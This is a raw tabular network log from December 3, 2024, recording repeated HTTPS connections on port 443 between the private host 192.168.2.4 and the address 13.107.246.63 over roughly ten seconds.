Dec 3, 2024 10:06:41.712259054 CET	49835	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.712272882 CET	443	49835	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.714386940 CET	49840	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.714432955 CET	443	49840	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.714524031 CET	49840	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.714658976 CET	49840	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.714668989 CET	443	49840	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.820944071 CET	443	49836	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.824670076 CET	443	49836	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.824733973 CET	49836	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.824764967 CET	49836	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.824783087 CET	443	49836	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.824793100 CET	49836	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.824796915 CET	443	49836	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.827060938 CET	49841	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.827090025 CET	443	49841	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:41.827158928 CET	49841	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.827322960 CET	49841	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:41.827332973 CET	443	49841	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.185245991 CET	443	49837	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.187762022 CET	49837	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:43.187786102 CET	443	49837	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.191543102 CET	49837	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:43.191546917 CET	443	49837	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.325802088 CET	443	49838	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.327064037 CET	49838	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:43.327080011 CET	443	49838	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.327512980 CET	49838	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:43.327516079 CET	443	49838	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.406116009 CET	443	49839	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.419112921 CET	49839	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:43.419131041 CET	443	49839	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.419574976 CET	49839	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:43.419579983 CET	443	49839	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.428587914 CET	443	49840	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.434550047 CET	49840	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:43.434573889 CET	443	49840	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.434973955 CET	49840	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:43.434979916 CET	443	49840	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.543210983 CET	443	49841	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.550143957 CET	49841	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:43.550179958 CET	443	49841	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.550575972 CET	49841	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:43.550584078 CET	443	49841	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.620040894 CET	443	49837	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.623322010 CET	443	49837	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.623377085 CET	49837	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:43.645642042 CET	49837	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:43.645658970 CET	443	49837	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.645668030 CET	49837	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:43.645673037 CET	443	49837	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.651875019 CET	49842	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:43.651899099 CET	443	49842	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.651961088 CET	49842	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:43.652113914 CET	49842	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:43.652124882 CET	443	49842	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.770044088 CET	443	49838	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.770138979 CET	443	49838	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.770195961 CET	49838	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:43.770314932 CET	49838	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:43.770333052 CET	443	49838	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.770365000 CET	49838	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:43.770370960 CET	443	49838	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.772993088 CET	49843	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:43.773025990 CET	443	49843	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.773097038 CET	49843	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:43.773401022 CET	49843	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:43.773415089 CET	443	49843	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.843293905 CET	443	49839	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.846379042 CET	443	49839	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.846427917 CET	443	49839	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.846487999 CET	49839	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:43.848845959 CET	49839	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:43.848851919 CET	443	49839	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.848864079 CET	49839	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:43.848867893 CET	443	49839	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.851735115 CET	49844	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:43.851747036 CET	443	49844	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.851821899 CET	49844	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:43.852107048 CET	49844	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:43.852119923 CET	443	49844	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.862843990 CET	443	49840	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.866446972 CET	443	49840	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.866568089 CET	49840	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:43.866906881 CET	49840	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:43.866916895 CET	443	49840	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.866929054 CET	49840	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:43.866935015 CET	443	49840	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.869121075 CET	49845	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:43.869142056 CET	443	49845	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:43.869211912 CET	49845	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:43.869309902 CET	49845	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:43.869321108 CET	443	49845	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:44.010241985 CET	443	49841	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:44.010292053 CET	443	49841	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:44.010364056 CET	49841	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:44.010601044 CET	49841	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:44.010612965 CET	443	49841	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:44.010648966 CET	49841	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:44.010653973 CET	443	49841	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:44.013523102 CET	49846	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:44.013544083 CET	443	49846	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:44.013624907 CET	49846	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:44.013782978 CET	49846	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:44.013792038 CET	443	49846	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:45.431524992 CET	443	49842	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:45.432099104 CET	49842	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:45.432120085 CET	443	49842	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:45.432569981 CET	49842	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:45.432574987 CET	443	49842	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:45.552395105 CET	443	49843	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:45.552798033 CET	49843	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:45.552818060 CET	443	49843	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:45.553358078 CET	49843	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:45.553363085 CET	443	49843	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:45.608824968 CET	443	49844	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:45.609253883 CET	49844	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:45.609280109 CET	443	49844	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:45.609797001 CET	49844	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:45.609801054 CET	443	49844	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:45.739550114 CET	443	49845	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:45.740178108 CET	49845	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:45.740195036 CET	443	49845	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:45.740792990 CET	49845	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:45.740798950 CET	443	49845	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:45.848694086 CET	443	49846	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:45.849071980 CET	49846	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:45.849086046 CET	443	49846	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:45.849433899 CET	49846	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:45.849437952 CET	443	49846	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:45.875072956 CET	443	49842	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:45.879050970 CET	443	49842	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:45.879143953 CET	49842	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:45.879168987 CET	49842	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:45.879188061 CET	443	49842	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:45.879201889 CET	49842	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:45.879206896 CET	443	49842	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:45.883244038 CET	49847	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:45.883272886 CET	443	49847	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:45.883337021 CET	49847	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:45.883538961 CET	49847	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:45.883552074 CET	443	49847	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:45.996545076 CET	443	49843	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:45.999599934 CET	443	49843	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:45.999643087 CET	443	49843	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:45.999675989 CET	49843	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:45.999702930 CET	49843	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:45.999746084 CET	49843	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:45.999768972 CET	443	49843	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:45.999785900 CET	49843	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:45.999793053 CET	443	49843	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:46.002355099 CET	49848	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:46.002388000 CET	443	49848	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:46.002588987 CET	49848	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:46.002815008 CET	49848	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:46.002827883 CET	443	49848	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:46.043473005 CET	443	49844	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:46.043570995 CET	443	49844	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:46.043690920 CET	49844	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:46.044008970 CET	49844	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:46.044019938 CET	443	49844	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:46.044029951 CET	49844	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:46.044034004 CET	443	49844	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:46.052666903 CET	49849	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:46.052697897 CET	443	49849	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:46.052762985 CET	49849	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:46.052896976 CET	49849	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:46.052911997 CET	443	49849	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:46.193104029 CET	443	49845	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:46.196552038 CET	443	49845	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:46.196589947 CET	443	49845	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:46.196619987 CET	49845	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:46.196651936 CET	49845	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:46.197385073 CET	49845	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:46.197401047 CET	443	49845	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:46.197411060 CET	49845	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:46.197416067 CET	443	49845	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:46.199551105 CET	49850	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:46.199563980 CET	443	49850	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:46.199618101 CET	49850	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:46.199755907 CET	49850	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:46.199769020 CET	443	49850	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:46.288953066 CET	443	49846	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:46.293015003 CET	443	49846	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:46.293087959 CET	49846	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:46.293112040 CET	49846	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:46.293112040 CET	49846	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:46.293118954 CET	443	49846	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:46.293126106 CET	443	49846	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:46.295689106 CET	49851	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:46.295701981 CET	443	49851	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:46.295783997 CET	49851	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:46.295928001 CET	49851	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:46.295938015 CET	443	49851	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:47.598972082 CET	443	49847	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:47.599498034 CET	49847	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:47.599513054 CET	443	49847	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:47.599955082 CET	49847	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:47.599962950 CET	443	49847	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:47.846637964 CET	443	49848	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:47.847182989 CET	49848	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:47.847208977 CET	443	49848	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:47.847656965 CET	49848	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:47.847662926 CET	443	49848	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:47.901263952 CET	443	49849	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:47.901717901 CET	49849	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:47.901738882 CET	443	49849	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:47.902342081 CET	49849	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:47.902348042 CET	443	49849	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:47.978754997 CET	443	49850	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:47.979118109 CET	49850	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:47.979127884 CET	443	49850	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:47.979506016 CET	49850	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:47.979511023 CET	443	49850	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:48.034286022 CET	443	49847	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:48.034382105 CET	443	49847	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:48.034439087 CET	49847	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:48.034570932 CET	49847	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:48.034590006 CET	443	49847	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:48.034600019 CET	49847	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:48.034605980 CET	443	49847	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:48.037069082 CET	49852	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:48.037096977 CET	443	49852	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:48.037173986 CET	49852	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:48.037297010 CET	49852	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:48.037309885 CET	443	49852	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:48.075335979 CET	443	49851	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:48.075666904 CET	49851	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:48.075684071 CET	443	49851	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:48.076087952 CET	49851	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:48.076093912 CET	443	49851	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:48.299982071 CET	443	49848	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:48.302975893 CET	443	49848	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:48.303057909 CET	49848	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:48.303076982 CET	49848	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:48.303086042 CET	443	49848	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:48.303096056 CET	49848	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:48.303100109 CET	443	49848	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:48.305860996 CET	49853	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:48.305912971 CET	443	49853	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:48.305979967 CET	49853	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:48.306176901 CET	49853	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:48.306188107 CET	443	49853	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:48.354402065 CET	443	49849	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:48.357783079 CET	443	49849	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:48.357831001 CET	443	49849	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:48.357836008 CET	49849	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:48.357877016 CET	49849	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:48.357933044 CET	49849	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:48.357942104 CET	443	49849	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:48.357952118 CET	49849	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:48.357955933 CET	443	49849	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:48.360511065 CET	49854	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:48.360526085 CET	443	49854	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:48.360596895 CET	49854	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:48.360797882 CET	49854	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:48.360807896 CET	443	49854	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:48.423022985 CET	443	49850	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:48.426409960 CET	443	49850	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:48.426476002 CET	49850	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:48.426512957 CET	49850	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:48.426517963 CET	443	49850	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:48.426527023 CET	49850	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:48.426529884 CET	443	49850	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:48.429315090 CET	49855	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:48.429338932 CET	443	49855	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:48.429405928 CET	49855	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:48.429516077 CET	49855	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:48.429529905 CET	443	49855	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:48.519625902 CET	443	49851	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:48.522764921 CET	443	49851	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:48.522820950 CET	49851	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:48.523019075 CET	49851	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:48.523026943 CET	443	49851	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:48.523037910 CET	49851	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:48.523041964 CET	443	49851	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:48.525645971 CET	49856	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:48.525684118 CET	443	49856	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:48.525763035 CET	49856	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:48.525888920 CET	49856	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:48.525903940 CET	443	49856	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:49.817224979 CET	443	49852	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:49.817759037 CET	49852	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:49.817779064 CET	443	49852	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:49.818259954 CET	49852	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:49.818264961 CET	443	49852	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.156075001 CET	443	49853	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.157332897 CET	49853	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.157354116 CET	443	49853	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.157733917 CET	49853	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.157738924 CET	443	49853	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.210197926 CET	443	49855	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.210756063 CET	49855	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.210788965 CET	443	49855	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.211194992 CET	49855	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.211204052 CET	443	49855	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.212872982 CET	443	49854	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.213217974 CET	49854	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.213233948 CET	443	49854	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.213680983 CET	49854	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.213689089 CET	443	49854	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.260746956 CET	443	49852	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.264389038 CET	443	49852	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.264466047 CET	49852	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.264508963 CET	49852	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.264527082 CET	443	49852	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.264537096 CET	49852	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.264542103 CET	443	49852	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.267148018 CET	49857	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.267175913 CET	443	49857	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.267241955 CET	49857	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.267374992 CET	49857	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.267385960 CET	443	49857	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.370136976 CET	443	49856	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.370693922 CET	49856	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.370719910 CET	443	49856	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.371149063 CET	49856	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.371155977 CET	443	49856	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.609021902 CET	443	49853	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.614048958 CET	443	49853	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.614099026 CET	443	49853	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.614115000 CET	49853	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.614160061 CET	49853	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.614211082 CET	49853	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.614234924 CET	443	49853	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.614247084 CET	49853	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.614253998 CET	443	49853	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.617101908 CET	49858	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.617129087 CET	443	49858	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.617202044 CET	49858	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.617333889 CET	49858	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.617347956 CET	443	49858	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.654726982 CET	443	49855	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.657890081 CET	443	49855	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.657967091 CET	49855	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.658009052 CET	49855	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.658029079 CET	443	49855	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.658041954 CET	49855	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:50.658047915 CET	443	49855	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:50.660134077 CET	49859	443	192.168.2.4	13.107.246.63
